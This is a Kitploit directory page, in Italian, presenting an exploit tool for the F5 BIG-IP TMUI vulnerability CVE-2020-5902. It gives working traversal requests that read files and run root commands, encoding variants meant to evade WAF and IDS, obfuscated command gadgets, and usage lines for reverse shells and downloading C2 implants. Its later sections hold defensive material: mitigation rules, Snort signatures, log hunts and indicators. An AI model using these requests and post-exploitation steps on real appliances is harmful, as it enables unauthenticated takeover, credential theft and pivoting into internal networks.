Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
F5-BIG-IP — F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità. | Kitploit
Strumenti/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Vedi Repository
1 mese faNon ancora revisionato

F5 BIG-IP è una piattaforma di distribuzione e sicurezza delle applicazioni ampiamente utilizzata in ambienti aziendali. La CVE-2020-5902 è una vulnerabilità critica nel TMUI che, nelle versioni non corrette, può consentire accesso non autorizzato ed esecuzione remota di codice, rafforzando la necessità di aggiornamento e gestione continua delle vulnerabilità.

Condividi

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Exploit proof-of-concept per la vulnerabilità critica di path traversal / remote code execution nell'interfaccia utente di gestione del traffico (TMUI) di F5 BIG-IP.

⚠️ Solo per test di penetrazione autorizzati e ricerca sulla sicurezza. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si dispone di un'autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio di questo strumento.


Indice

  • Contesto
  • Analisi della vulnerabilità
  • Approfondimento tecnico
  • Versioni interessate
  • Funzionalità
  • Installazione
  • Utilizzo
  • Misure difensive
  • Rilevamento e Threat Hunting
  • Cronologia
  • Riferimenti
  • Disclaimer

Contesto

F5 BIG-IP è una famiglia di appliance di rete polivalenti (load balancer, WAF, application delivery controller) implementata nella maggior parte delle aziende Fortune 500, delle istituzioni finanziarie, delle organizzazioni sanitarie e delle agenzie governative in tutto il mondo. La Traffic Management User Interface (TMUI) — nota anche come Configuration Utility — è il portale di gestione basato sul web accessibile sulla porta 443 (o 8443).

Nel luglio 2020, F5 ha divulgato la CVE-2020-5902, una vulnerabilità critica (CVSS 9.8) di path traversal non autenticato nella TMUI che consente a un attaccante remoto e non autenticato di:

  • Leggere file arbitrari dal sistema Linux sottostante (LFI)
  • Eseguire comandi di sistema arbitrari come root (RCE)
  • Compromettere completamente l'appliance e fare pivot verso le reti interne

Entro pochi giorni dalla divulgazione pubblica, è stato osservato uno sfruttamento di massa in ambiente reale, anche da parte di attori statali.


Analisi della vulnerabilità

Causa principale

La TMUI è basata su Apache Tomcat e utilizza un filtro servlet per applicare l'autenticazione sulle risorse protette. La vulnerabilità risiede nel modo in cui Tomcat analizza i segmenti di percorso delimitati da punto e virgola (;).

La seguente richiesta aggira completamente l'autenticazione:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Perché funziona:

  1. Il filtro servlet di Tomcat vede il percorso come /tmui/login.jsp (termina prima di ;) — che è la pagina di login pubblica — e consente la richiesta.
  2. Il risolutore di URL di Tomcat elabora quindi /..;/ come un path traversal (/../) prima dell'invio.
  3. La richiesta viene infine instradata al servlet protetto fileRead.jsp senza autenticazione.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

Da LFI a RCE

Il servlet tmshCmd.jsp (raggiungibile anche tramite lo stesso traversal) passa i parametri command e utilCmdArgs direttamente a tmsh (la shell di gestione di BIG-IP), che incapsula run util bash -c '...'. Ciò consente l'esecuzione di comandi di sistema a livello root senza autenticazione:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Approfondimento tecnico

Flusso di attacco

root@kitploit:~
Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

Varianti di encoding del traversal

Gadget di offuscamento dei comandi

Lo strumento applica uno dei due gadget di offuscamento a ogni esecuzione, rendendo più difficile il rilevamento tramite firme statiche:

root@kitploit:~
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

Versioni interessate

BIG-IQ, BIG-IQ Centralized Management, F5OS e Traffix SDC non sono interessati da questa specifica CVE.


Funzionalità

  • Path traversal multi-variante — 6 permutazioni di encoding per eludere le firme WAF/IDS
  • Tre vettori RCE indipendenti — tmshCmd.jsp, iniezione in fileRead, log poisoning
  • Gadget di offuscamento dei comandi — pipeline base64 e hex-encode
  • Fase di ricognizione passiva — banner TCP, impronta SSL/TLS, analisi delle intestazioni HTTP
  • Brute-force LFI parallelo — 30 percorsi sensibili, 10 thread concorrenti
  • Reverse shell concorrenti — 4 one-liner lanciati simultaneamente
  • Integrazione C2 — Sliver, Metasploit, implant personalizzati (Linux/Windows/PS1)
  • Intestazioni di evasione — User-Agent casuali, intestazioni di spoofing IP, intestazioni di disturbo
  • REPL di shell interattiva — comandi !revshell, !c2, !read, !brute
  • Supporto proxy — integrazione con Burp Suite / mitmproxy

Installazione

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Requisiti: Python 3.10+


Utilizzo

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Esempi

root@kitploit:~
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100

# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Comandi della shell interattiva

Una volta in modalità --shell, sono disponibili i seguenti comandi speciali:


Misure difensive

Mitigazioni immediate (se non è ancora possibile applicare la patch)

1. Bloccare l'accesso alla TMUI da Internet

La mitigazione singolarmente più efficace è garantire che l'interfaccia di gestione non sia mai raggiungibile da reti non fidate:

root@kitploit:~
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

In alternativa, dalla configurazione Self IP di BIG-IP, assicurarsi che la porta di gestione non abbia alcuna rotta esterna.

2. Applicare la mitigazione ufficiale di F5 (pre-patch)

F5 ha pubblicato uno script di mitigazione che aggiunge una RewriteRule di Apache per bloccare il pattern di traversal:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Riferimento: K52145254 — Passaggi di mitigazione

3. Patch — Applicare la versione corretta

La soluzione definitiva consiste nell'aggiornare BIG-IP a una versione corretta (vedi la tabella Versioni interessate). F5 ha corretto la logica del filtro servlet affinché i segmenti di percorso delimitati da punto e virgola vengano analizzati correttamente prima dell'imposizione dell'autenticazione.


Difese a livello di architettura

Accesso Zero-Trust alla rete per i piani di gestione

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

Principi chiave:

  • Le interfacce di gestione non devono mai trovarsi sullo stesso IP/porta del traffico di produzione
  • L'accesso richiede VPN + MFA prima di raggiungere il jump host
  • Il blocco delle porte Self IP di BIG-IP deve essere impostato su Allow None o Allow Defaults

Regole del Web Application Firewall

Se un WAF si trova davanti alla gestione di BIG-IP (insolito ma possibile in alcune architetture), aggiungere regole per bloccare:

  • Richieste che contengono ; nel percorso URL
  • Richieste che corrispondono a ..; o %3b nei segmenti di percorso
  • Richieste a /tmui/locallb/workspace/ da sorgenti non di gestione

Checklist di hardening della sicurezza

root@kitploit:~
[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario

Rilevamento e Threat Hunting

Firme IDS/IPS (Snort / Suricata)

root@kitploit:~
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Pattern dei log Apache/HTTPD (grep)

root@kitploit:~
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

Query SIEM (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Indicatori di compromissione (IOC)

Pattern URL:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Obiettivi comuni degli attaccanti (file consultati):

root@kitploit:~
/etc/passwd                  — credential harvesting
/config/bigip.conf           — VPN/routing config exfiltration
/config/bigip.license        — license key theft
/config/bigip_user.conf      — local admin account enumeration
/root/.bash_history          — historical command reconnaissance

Cronologia


Riferimenti

  • NVD — CVE-2020-5902
  • Advisory di sicurezza F5 K52145254
  • Direttiva di emergenza CISA 20-03
  • Analisi di Rapid7
  • Articolo di BleepingComputer
  • Query Shodan: http.title:"BIG-IP" port:443

Disclaimer

Questo strumento è fornito solo a scopo educativo e per valutazioni di sicurezza autorizzate. È pensato per:

  • Penetration tester con autorizzazione scritta del proprietario delle risorse
  • Ricercatori di sicurezza che studiano la vulnerabilità in ambienti di laboratorio
  • Difensori che creano firme di rilevamento e configurazioni di hardening
  • Partecipanti a competizioni CTF (Capture the Flag)

L'uso di questo strumento contro sistemi senza un'esplicita autorizzazione scritta costituisce un reato penale ai sensi del Computer Fraud and Abuse Act (CFAA), del UK Computer Misuse Act, della Lei Nº 12.737/2012 del Brasile (Lei Carolina Dieckmann) e delle leggi equivalenti nella maggior parte delle giurisdizioni del mondo.

L'autore e i contributori di questo repository non si assumono alcuna responsabilità per qualsiasi danno, conseguenza legale o altro pregiudizio derivante dall'uso improprio di questo software.


Realizzato per la comunità della ricerca sulla sicurezza. Applicate le patch ai vostri sistemi. Proteggete le vostre reti.

Scarica lo strumento
VariantePayload
Standardtmui/login.jsp/..;/tmui/...
Punto e virgola codificatotmui/login.jsp/..%3b/tmui/...
Doppio URL-encodingtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
Dot-dot Unicodetmui/login.jsp/%2e%2e;/tmui/...
Variazione di maiuscole/minuscoleTMUI/login.jsp/..;/tmui/...
Confusione di directorytmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
Ramo BIG-IPIntervallo vulnerabileVersione corretta
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
ComandoDescrizione
!revshell <lhost> <lport>Lancia 4 varianti di reverse shell in contemporanea
!c2 <url> <type> [args]Scarica ed esegue un implant C2
!read <path>Legge un file arbitrario tramite LFI
!bruteEsegue il brute-force su 30 percorsi sensibili
!exitTermina la sessione
<qualsiasi comando OS>Esegue tramite RCE e stampa l'output
DataEvento
2020-06-30F5 notificata privatamente
2020-07-01F5 pubblica l'advisory (K52145254) e le patch
2020-07-03PoC pubblico rilasciato su Twitter
2020-07-04Sfruttamento di massa osservato da diverse società di threat intelligence
2020-07-06La CISA emette la Direttiva di emergenza 20-03 che impone la patch a livello federale
2020-07-09Attori statali (APT) confermati nello sfruttamento in ambiente reale
2020-07-15Circa 8.000 istanze BIG-IP ancora senza patch (Shodan)
2020-08-xxI gruppi ransomware iniziano a prendere di mira i dispositivi BIG-IP non patchati